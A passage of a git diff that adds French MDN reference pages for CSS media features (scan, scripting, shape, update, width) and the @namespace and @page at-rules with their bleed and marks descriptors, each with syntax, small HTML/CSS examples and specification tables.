+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.resolution")}}</p>
diff --git a/files/fr/web/css/@media/scan/index.html b/files/fr/web/css/@media/scan/index.html
new file mode 100644
index 0000000000..be71b32a45
--- /dev/null
+++ b/files/fr/web/css/@media/scan/index.html
@@ -0,0 +1,85 @@
+---
+title: scan
+slug: Web/CSS/@media/scan
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/scan
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>scan</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui peut être utilisée afin de déterminer le processus utilisé pour composer l'image sur l'appareil d'affichage.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>scan</code> est définie avec un mot-clé parmi ceux qui suivent :</p>
+
+<dl>
+ <dt><code>interlace</code></dt>
+ <dd>L'image est composée avec <a href="https://fr.wikipedia.org/wiki/Entrelacement_(vid%C3%A9o)">un entrelacement</a> grâce à des lignes intercalées (en deux passes).</dd>
+ <dt><code>progressive</code></dt>
+ <dd>L'image est composée ligne par ligne avec <a href="https://fr.wikipedia.org/wiki/Balayage_progressif">un balayage progressif</a>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Si votre écran utilise une composition avec entrelacement, ce texte devrait
+   être écrit avec une police sans serif/empattement. S'il utilise une composition
+   avec un balayage progressif, vous devriez voir une police avec serif/empattement.
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  font-family: cursive;
+}
+
+@media (scan: interlace) {
+  p {
+    font-family: sans-serif;
+  }
+}
+
+@media (scan: progressive) {
+  p {
+    font-family: serif;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#scan', 'scan')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#scan', 'scan')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.scan")}}</p>
diff --git a/files/fr/web/css/@media/scripting/index.html b/files/fr/web/css/@media/scripting/index.html
new file mode 100644
index 0000000000..85af2d8c69
--- /dev/null
+++ b/files/fr/web/css/@media/scripting/index.html
@@ -0,0 +1,87 @@
+---
+title: scripting
+slug: Web/CSS/@media/scripting
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/scripting
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>scripting</code></strong> est une caractéristique média CSS qui permet de savoir si les outils de script (ex. JavaScript) sont disponibles.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>scripting</code> est définie avec un mot-clé parmi les suivants :</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Les outils de script sont indisponibles pour le document courant.</dd>
+ <dt><code>initial-only</code></dt>
+ <dd>Les outils de script sont disponibles pendant le chargement de la page mais pas ensuite.</dd>
+ <dt><code>enabled</code></dt>
+ <dd>Les outils de script sont pris en charge et actifs pour le document courant.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="script-none"&gt;Les outils de script ne sont pas disponibles. :-(&lt;/p&gt;
+&lt;p class="script-initial-only"&gt;Les outils de script sont uniquement disponibles au chargement initial.&lt;/p&gt;
+&lt;p class="script-enabled"&gt;Les outils de script sont activés ! :-)&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  color: lightgray;
+}
+
+@media (scripting: none) {
+  .script-none {
+     color: red;
+  }
+}
+
+@media (scripting: initial-only) {
+  .script-initial-only {
+    color: red;
+  }
+}
+
+@media (scripting: enabled) {
+  .script-enabled {
+    color: red;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#scripting', 'scripting')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Reporté à la spécification Media Queries Level 5.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.scripting")}}</p>
diff --git a/files/fr/web/css/@media/shape/index.html b/files/fr/web/css/@media/shape/index.html
new file mode 100644
index 0000000000..ffbbd65e74
--- /dev/null
+++ b/files/fr/web/css/@media/shape/index.html
@@ -0,0 +1,97 @@
+---
+title: shape
+slug: Web/CSS/@media/shape
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@media/shape
+---
+<div>{{CSSRef}} {{Non-standard_header}}</div>
+
+<p>La caractéristique média <strong><code>shape</code></strong> peut être utilisée afin de tester la forme d'un appareil pour distinguer les affichages rectangulaires des affichages ronds.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>shape</code> peut prendre une valeur parmi deux valeurs définies : <code>rect</code> qui représente un écran rectangulaire ou <code>round</code> qui représente un écran circulaire, ovale ou elliptique.</p>
+
+<dl>
+ <dt><code><dfn>rect</dfn></code></dt>
+ <dd>La forme est un rectangle, un carré ou une forme similaire (ex. un rectangle arrondi) qui permet d'utiliser un affichage traditionnel.</dd>
+ <dt><code><dfn>round</dfn></code></dt>
+ <dd>La forme est arrondie telle un cercle, un ovale ou une ellipse et les dispositions arrondies seront plus appropriées sur ces écrans.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Aucun navigateur n'implémente actuellement cette fonctionnalité.</p>
+</div>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h1&gt;Coucou le monde !&lt;/h1&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">h1 {
+  text-align: left;
+}
+
+@media (shape: rect) {
+  h1 {
+    text-align: left;
+  }
+}
+
+@media (shape: round) {
+  h1 {
+    text-align: center;
+  }
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple")}}</p>
+
+<h3 id="Feuille_de_style_spécifique">Feuille de style spécifique</h3>
+
+<p>Ce fragment de code HTML permettra d'appliquer une feuille de style particulière pour les appareils qui ont des écrans arrondis.</p>
+
+<pre class="brush: html"><code>&lt;head&gt;
+    &lt;link rel="stylesheet" href="default.css" /&gt;</code>
+<code>    &lt;link media="screen and (shape: rect)" rel="stylesheet" href="rectangle.css" /&gt;
+    &lt;link media="screen and (shape: round)" rel="stylesheet" href="round.css" /&gt;
+&lt;/head&gt;
+</code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><em><a href="https://drafts.csswg.org/css-round-display/">CSS Round Display Level 1</a></em></td>
+   <td>Brouillon</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.shape")}}</p>
diff --git a/files/fr/web/css/@media/update-frequency/index.html b/files/fr/web/css/@media/update-frequency/index.html
new file mode 100644
index 0000000000..1bdabdfd63
--- /dev/null
+++ b/files/fr/web/css/@media/update-frequency/index.html
@@ -0,0 +1,82 @@
+---
+title: update
+slug: Web/CSS/@media/update-frequency
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/update-frequency
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>update</code></strong> est une caractéristique média (cf. {{cssxref("@media")}}) qui permet de vérifier la vitesse à laquelle l'appareil d'affichage peut modifier l'apparence du contenu.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique <code>update</code> est définie avec un mot-clé parmi ceux de la liste ci-après.</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Une fois le document affiché, son apparence ne peut plus être modifiée (ex. le document est imprimé sur du papier).</dd>
+ <dt><code>slow</code></dt>
+ <dd>Une fois le document affiché, son apparence peut évoluer mais lentement (ex. des livres électroniques utilisant une encre électronique ou des appareils de lecture avec un niveau d'énergie faible).</dd>
+ <dt><code>fast</code></dt>
+ <dd>Une fois le document affiché, son apparence peut évoluer rapidement (ex. un ordinateur qui serait capable de gérer les transitions CSS).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Si ce texte est animé, cela signifie que vous utilisez
+  un appareil avec un affichage qui évolue rapidement.
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@keyframes jiggle {
+  from {
+    transform: translateY(0);
+  }
+
+  to {
+    transform: translateY(25px);
+  }
+}
+
+@media (update: fast) {
+  p {
+    animation: 1s jiggle linear alternate infinite;
+  }
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#update', 'update')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.update")}}</p>
diff --git a/files/fr/web/css/@media/width/index.html b/files/fr/web/css/@media/width/index.html
new file mode 100644
index 0000000000..bc1f77eb35
--- /dev/null
+++ b/files/fr/web/css/@media/width/index.html
@@ -0,0 +1,90 @@
+---
+title: width
+slug: Web/CSS/@media/width
+tags:
+  - CSS
+  - Caractéristique média
+  - Reference
+translation_of: Web/CSS/@media/width
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>width</code></strong> est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui permet d'appliquer des styles différents en fonction de la largeur de la zone d'affichage (<em>viewport</em>) ou de la largeur de la page (pour <a href="/fr/docs/Web/CSS/M%C3%A9dia_pagin%C3%A9s">les média paginés</a>). La largeur est exprimée comme une longueur CSS (type {{cssxref("&lt;length&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p><strong><code>width</code></strong> est une valeur décrivant la largeur d'affichage, les versions préfixées <strong><code>min-width</code></strong> et <code><strong>max-width</strong></code> peuvent également être utilisées afin de décrire la largeur minimale (resp. la largeur maximale).</p>
+
+<pre class="brush: css">/* Largeur exacte */
+@media (width: 300px) {}
+
+/* Un viewport avec une largeur minimale */
+@media (min-width: 50em) {}
+
+/* Un viewport avec une largeur maximale */
+@media (max-width: 1000px) {}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Observez cet élément lorsque vous redimensionnez la largeur du viewport.&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Largeur exacte */
+@media (width: 360px) {
+  div {
+    color: red;
+  }
+}
+
+/* Largeur minimale */
+@media (min-width: 35rem) {
+  div {
+    background: yellow;
+  }
+}
+
+/* Largeur maximale */
+@media (max-width: 50rem) {
+  div {
+    border: 2px solid blue;
+  }
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','90%')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#width', 'width')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>La valeur peut désormais être négative (ce qui correspond à un booléen faux).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#width', 'width')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Définition initiale. La valeur ne peut pas être négative.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.width")}}</p>
diff --git a/files/fr/web/css/@namespace/index.html b/files/fr/web/css/@namespace/index.html
new file mode 100644
index 0000000000..60693a85ab
--- /dev/null
+++ b/files/fr/web/css/@namespace/index.html
@@ -0,0 +1,78 @@
+---
+title: '@namespace'
+slug: Web/CSS/@namespace
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@namespace
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>@namespace</code></strong> est <a href="/fr/docs/Web/CSS/Règles_@">une règle @</a> qui définit <a href="/fr/docs/Glossaire/Namespace">les espaces de noms XML</a> utilisés dans une feuille de style CSS. Les espaces de noms définis sont alors utilisés pour restreindre les sélecteurs <a href="/fr/docs/Web/CSS/Sélecteurs_universels">universels</a>, <a href="/fr/docs/Web/CSS/Sélecteurs_de_type">de type</a>, et <a href="/fr/docs/Web/CSS/Sélecteurs_d_attribut">d'attribut</a> afin que ceux-ci ne sélectionnent que les éléments contenus dans cet espace de nom. La règle <code>@namespace</code> est généralement utilisée lorsqu'on manipule des documents entremêlant différents espaces de noms (par exemple, un document HTML5 qui contient du SVG en ligne ou du MathML ou alors un fichier XML qui est composé de plusieurs vocabulaires).</p>
+
+<pre class="brush: css no-line-numbers">@namespace url(http://www.w3.org/1999/xhtml);
+@namespace svg url(http://www.w3.org/2000/svg);
+
+/* Cela correspond à tous les éléments XHTML &lt;a&gt;
+  car XHTML est l'espace de nom par défaut, sans
+  préfixe. */
+a {}
+
+/* Cela correspond à tous les éléments SVG &lt;a&gt; */
+svg|a {}
+
+/* Cela correspond aux éléments &lt;a&gt; XHTML et SVG */
+*|a {}
+</pre>
+
+<p>Les règles <code>@namespace</code> doivent suivre les règles @ {{cssxref("@charset")}} et {{cssxref("@import")}} et précéder les autres règles @ ainsi que les déclarations de style contenus dans la feuille de style.</p>
+
+<p><code>@namespace</code> peut être utilisée afin de définir <strong>l'espace de noms par défaut</strong> de la feuille de style. Lorsqu'un espace de noms par défaut est définit, les sélecteurs universels et les sélecteurs de types (pas les sélecteurs d'attribut, cf. note ci-après) ne s'appliqueront qu'aux éléments de cet espace de noms.</p>
+
+<p>La règle <code>@namespace</code> peut également être utilisée afin de définir <strong>un préfixe d'espace de noms</strong>. Lorsqu'un sélecteur universel, de type ou d'attribut est préfixé avec le préfixe de l'espace de noms, ce sélecteur ne ciblera les éléments que si l'espace de nom <strong>et</strong> le nom ou l'attribut de l'élément correspond.</p>
+
+<p>En <a href="/fr/docs/Glossaire/HTML5">HTML5</a>, les <a href="https://html.spec.whatwg.org/#foreign-elements">éléments étrangers</a> connus seront automatiquement affectés à des espaces de noms. Cela signifie que les éléments HTML se comporteront comme s'ils appartenaient à l'espace de noms XHTML (<code>http://www.w3.org/1999/xhtml</code>) même s'il n'y a aucun attribut <code>xmlns</code> dans le document. Les éléments <code><a href="/fr/docs/Web/SVG/Element/svg">&lt;svg&gt;</a></code> et <code><a href="/fr/docs/Web/MathML/Element/math">&lt;math&gt;</a></code> seront affectés à leurs espaces de noms respectifs (<code>http://www.w3.org/2000/svg</code> et <code>http://www.w3.org/1998/Math/MathML</code>).</p>
+
+<div class="note">
+<p><strong>Note :</strong> En XML, sauf si un préfixe est directement apposé sur l'attribut (ex. <code>xlink:href</code>), cet attribut n'est rattaché à aucun espace de noms. Autrement dit, les attributs n'héritent pas de l'espace de noms de l'élément auquel ils sont rattachés. Afin de respecter ce comportement, l'espace de noms par défaut n'est pas appliqué aux sélecteurs d'attributs.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Espace de noms par défaut */
+@namespace url(<em>XML-namespace-URL</em>);
+@namespace "<em>XML-namespace-URL</em>";
+
+/* Espace de noms préfixé */
+@namespace <em>préfixe</em> url(<em>XML-namespace-URL</em>);
+@namespace <em>préfixe</em> "<em>XML-namespace-URL</em>";</pre>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Namespaces', '#declaration', '@namespace')}}</td>
+   <td>{{Spec2('CSS3 Namespaces')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.namespace")}}</p>
diff --git a/files/fr/web/css/@page/bleed/index.html b/files/fr/web/css/@page/bleed/index.html
new file mode 100644
index 0000000000..3ff61db95c
--- /dev/null
+++ b/files/fr/web/css/@page/bleed/index.html
@@ -0,0 +1,79 @@
+---
+title: bleed
+slug: Web/CSS/@page/bleed
+tags:
+  - CSS
+  - Descripteur
+  - Experimental
+  - Reference
+translation_of: Web/CSS/@page/bleed
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Le descripteur <strong><code>bleed</code></strong>, associé à la règle @ {{cssxref("@page")}}, définit l'espace duquel le contenu peut dépasser de la boîte de la page. Ce descripteur aura un effet uniquement si le descripteur {{cssxref("@page/marks","marks")}} est utilisé pour afficher les marques de coupure.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+bleed: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+bleed: 8pt;
+bleed: 1cm;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Cette valeur correspond à <code>6pt</code> si {{cssxref("marks")}} vaut <code>crop</code>. Dans les autres cas, cette valeur vaut zéro.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Cette valeur indique la distance, dans chaque direction, de laquelle le contenu peut dépasser de la boîte de la page. Les valeurs négatives sont autorisées mais les différentes implémentations fixent différentes limites.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@page {
+  bleed: 1cm;
+  marks: crop;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Paged Media", "#bleed", "bleed")}}</td>
+   <td>{{Spec2("CSS3 Paged Media")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.page.bleed")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@page/marks", "marks")}}</li>
+ <li>{{cssxref("@page/size", "size")}}</li>
+</ul>
diff --git a/files/fr/web/css/@page/index.html b/files/fr/web/css/@page/index.html
new file mode 100644
index 0000000000..c056ac3ae2
--- /dev/null
+++ b/files/fr/web/css/@page/index.html
@@ -0,0 +1,105 @@
+---
+title: '@page'
+slug: Web/CSS/@page
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@page
+---
+<div>{{CSSRef}}</div>
+
+<p>La règle @ <strong><code>@page</code></strong> est utilisée afin de modifier certaines propriétés CSS lorsqu'on imprime un document. La règle <code>@page</code> ne permet par de modifier toutes les propriétés mais uniquement celles qui portent sur les marges, les lignes orphelines et veuves ainsi que les sauts de page du document. Si on utilise cette règle @ pour modifier une autre propriété, ce changement sera ignoré.</p>
+
+<pre class="brush: css no-line-numbers">@page {
+  margin: 1cm;
+}
+
+@page :first {
+  margin: 2cm;
+}</pre>
+
+<p>La règle @ <code>@page</code> peut être manipulée via le CSSOM, notamment avec l'interface {{domxref("CSSPageRule")}}.</p>
+
+<div class="note"><strong>Note :</strong> Le W3C est en train de discuter de la gestion des unités de longueur ({{cssxref("&lt;length&gt;")}}) relative à la zone d'affichage (<em>viewport</em>) : <code>vh</code>, <code>vw</code>, <code>vmin</code> et <code>vmax</code>. En attendant, il est conseillé de ne pas les utiliser au sein d'une règle <code>@page</code>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Descripteurs">Descripteurs</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/@page/size"><code>size</code></a></dt>
+ <dd>Définit la taille et l'orientation du bloc englobant la boîte de la page. En général, lorsqu'une boîte correspondant à une page est rendu sur une feuille, cela indique la taille de la page utilisée.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/CSS/@page/marks">marks</a></code></dt>
+ <dd>Ajoute des marques pour la découpe ou l'alignement des pages du document.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/@page/bleed"><code>bleed</code></a></dt>
+ <dd>Définit la limite au-delà de la boîte de la page au-delà de laquelle le contenu affiché est rogné.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@page :first {
+  margin: 2cm 3cm;
+} </pre>
+
+<p>Pour d'autres exemples, voir les pages qui concernent les pseudo-classes liées à <code>@page</code> :</p>
+
+<ul>
+ <li>{{cssxref(":blank")}}</li>
+ <li>{{cssxref(":first")}}</li>
+ <li>{{cssxref(":left")}}</li>
+ <li>{{cssxref(":right")}}</li>
+ <li>{{cssxref(":recto")}} {{experimental_inline}}</li>
+ <li>{{cssxref(":verso")}} {{experimental_inline}}</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#logical-page', ':recto and :verso')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Ajout des sélecteurs de page <code>:recto</code> et <code>:verso</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Aucun changement depuis  {{SpecName('CSS2.1')}}, bien que plus de règles @ puissent être utilisées au sein d'une règle <code>@page</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', '@page')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.page")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=286443">Le bug de suivi Mozilla pour l'ensemble des fonctionnalités associées aux médias paginés.</a></li>
+</ul>
diff --git a/files/fr/web/css/@page/marks/index.html b/files/fr/web/css/@page/marks/index.html
new file mode 100644
index 0000000000..8ac0d906f5
--- /dev/null
+++ b/files/fr/web/css/@page/marks/index.html
@@ -0,0 +1,82 @@
+---
+title: marks
+slug: Web/CSS/@page/marks
+tags:
+  - CSS
+  - Descripteur
+  - Experimental
+  - Reference
+translation_of: Web/CSS/@page/marks
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Le descripteur <strong><code>marks</code></strong>, associé à la règle @ {{cssxref("@page")}}, est utilisé pour afficher des marques de coupure (<em>crop marks</em>) ou des croix d'alignement (<em>cross marks</em>). Les marques de coupure sont utilisées pour massicoter les pages et les croix d'alignement sont utilisées afin d'aligner plusieurs feuilles entre elles.</p>
+
+<p>Les marques de coupure et d'alignement sont imprimées en dehors de la boîte de la page. Pour qu'il y ait l'espace nécessaire au dessin de ces symboles, les pages finales doivent être légèrement plus grandes que la boîtes de la page.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+marks: none;
+marks: crop;
+marks: cross;
+marks: crop cross;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>crop</code></dt>
+ <dd>Les marques de découpe seront affichées sur la page finale.</dd>
+ <dt><code>cross</code></dt>
+ <dd>Les marques d'alignement seront affichées sur la page finale.</dd>
+ <dt><code>none</code></dt>
+ <dd>Aucune marque ne sera affichée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@page {
+  marks: crop cross;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#marks', 'marks')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
